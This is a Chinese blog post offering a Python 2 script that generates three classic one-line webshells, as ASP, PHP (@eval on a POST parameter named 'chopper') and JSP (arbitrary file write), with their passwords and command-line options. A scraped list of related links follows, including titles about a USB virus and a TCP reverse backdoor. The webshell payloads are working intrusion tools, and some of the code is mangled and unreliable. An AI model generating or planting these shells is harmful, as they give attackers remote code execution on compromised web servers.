python写一个能生成三种一句话木马的脚本
代码:
import time
import os
from threading import Thread
import optparse
def aspyijuhua():
try:
juy=open('caidao.asp','w')
asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
print '[+]Accelerated generation !'
juy.writelines(asp)
print '[+]ASP in word ,the Trojan horse is finished .'
print '[+]Password:1'
except:
print '[-]Not generate !' def phpyijuhua():
try:
php=open('caidao.php','w')
payload="<?php @eval($_POST['chopper']);?>"
print '[+]Accelerated generation !'
php.writelines(payload)
print '[+]PHP in word ,the Trojan horse is finished .'
print '[+]Password:chopper'
except:
print '[-]Not generate !' def jspyijuhua():
try:
jsp=open('caidao.jsp','w')
payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
print '[+]Accelerated generation !'
jsp.writelines(payload)
print '[+]JSP in word ,the Trojan horse is finished .'
except:
print '[-]Not generate !'
def editon():
print '-a ASP in word ,the Trojan horse is finished .'
print '-p PHP in word ,the Trojan horse is finished .'
print '-j JSP in word ,the Trojan horse is finished .'
print 'Editon v.1.0'
print 'What is your Haq me, Whatever you do love you' def main():
parser=optparse.OptionParser()
parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
parser.add_option('-v',action='store_true',dest='help',help='Editon')
(options,args)=parser.parse_args()
if options.asp:
a=Thread(target=aspyijuhua,args=())
a.start()
if options.php:
px=Thread(target=phpyijuhua,args=())
px.start()
if options.jsp:
j=Thread(target=jspyijuhua,args=())
j.start()
if options.help:
h=Thread(target=editon(),args=())
h.start() if __name__ == '__main__':
main()
运行截图:


命令:
-h 帮助
-a 生成asp一句话马
-p 生成php一句话木马
-j 生成jsp一句话木马
-v 版本
python写一个能生成三种一句话木马的脚本的更多相关文章
- Python写一个批量生成账号的函数
批量生成账户信息,产生的账户由@sina.com结尾,长度由用户输入,产生多少条也由用户输入,用户名不能重复,用户名必须由大写字母.小写字母和数字组成. def Users(num,len): # n ...
- [转]用Python做一个自动生成读表代码的小脚本
写在开始(本片文章不是写给小白的,至少你应该知道一些常识!) 大家在Unity开发中,肯定会把一些数据放到配置文件中,尤其是大一点的项目,每次开发一个新功能的时候,都要重复的写那些读表代码.非常烦.来 ...
- python每次处理一个字符的三种方法
python每次处理一个字符的三种方法 a_string = "abccdea" print 'the first' for c in a_string: print ord(c) ...
- python实现XML解析的三种方法
python实现XML解析的三种方法 三种方法:一是xml.dom.*模块,它是W3C DOM API的实现,若需要处理DOM API则该模块很适合:二是xml.sax.*模块,它是SAX API的实 ...
- Python实现微信支付(三种方式)
Python实现微信支付(三种方式) 关注公众号"轻松学编程"了解更多. 如果需要python SDk源码,可以加我微信[1257309054] 在文末有二维码. 一.准备环境 1 ...
- python写一个能变身电光耗子的贪吃蛇
python写一个不同的贪吃蛇 写这篇文章是因为最近课太多,没有精力去挖洞,记录一下学习中的收获,python那么好玩就写一个大一没有完成的贪吃蛇(主要还是跟课程有关o(╥﹏╥)o,课太多好烦) 第一 ...
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)
昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...
- 【Python】如何基于Python写一个TCP反向连接后门
首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...
随机推荐
- mysql 分区优缺点
分区不一定能够提高查询速度: 原因:分区是按字段分区,如果查询条件不是分区字段会很慢.
- iOS-免证书真机调试
使用方法: 1.新建一个普通的项目 2.进入xcode,菜单栏选择xcode –> preferences (快捷键 command + ,) 3.在Accounts选项卡添加自己的Apple ...
- C语言之内存四区模型和函数调用模型
内存四区模型 流程说明1.操作系统把物理硬盘代码load到内存2.操作系统把c代码分成四个区3.操作系统找到main函数入口执行 1.内存四区: 一个由c/C++编译的程序占用的内存分为以下几个部 ...
- ORACLE expdp \ impdp \ exp \ imp
(转自:http://www.cnblogs.com/lanzi/archive/2011/01/06/1927731.html) EXPDP命令行选项1. ATTACH该选项用于在客户会话与已存在导 ...
- 【2018年全国多校算法寒假训练营练习比赛(第四场)-D】小明的挖矿之旅
题目链接:https://www.nowcoder.com/acm/contest/76/D 做题时没注意到“无论出现在哪个格子”..题中也没说明一个格子只能经过一次,其实没有想象的复杂. 判断如果点 ...
- Node负载能力测试
需求很简单,就是提供一个服务接口收集端上传来的日志文件并保存,要求能承受的QPS为5000. 以前从来都没考虑过Node服务的负载能力,用 koa + co-busboy 接受上传文件请求并用 fs ...
- ubuntu 交叉编译arm linux 内核小例子
下载arm-linux-gcc 4.2.3http://code.google.com/p/princess-alist/downloads/detail?name=arm-linux-gcc-4.3 ...
- 初识Linux(五)--VI/VIM编辑器
我们操作文件,终究离不开编辑文件,对文件内容的编辑,Linux系统下,我们通常使用VI/VIM来编辑文件.VI是每个Linux都会自带的文本编辑器,VIM是VI的增强版,可能有些发行版本没有自带,可以 ...
- Electron中git, npm,webpack使用
开始学习Electron的时候用到git, 记录学习一下, 学习地址是: https://zhuanlan.zhihu.com/p/20225295?columnSlug=FrontendMagazi ...
- Delphi for Android (aka Delphi XE5 aka RAD Studio XE5) has appeared
Delphi for Android (aka Delphi XE5 aka RAD Studio XE5) has appeared Blimey, that took me by surpri ...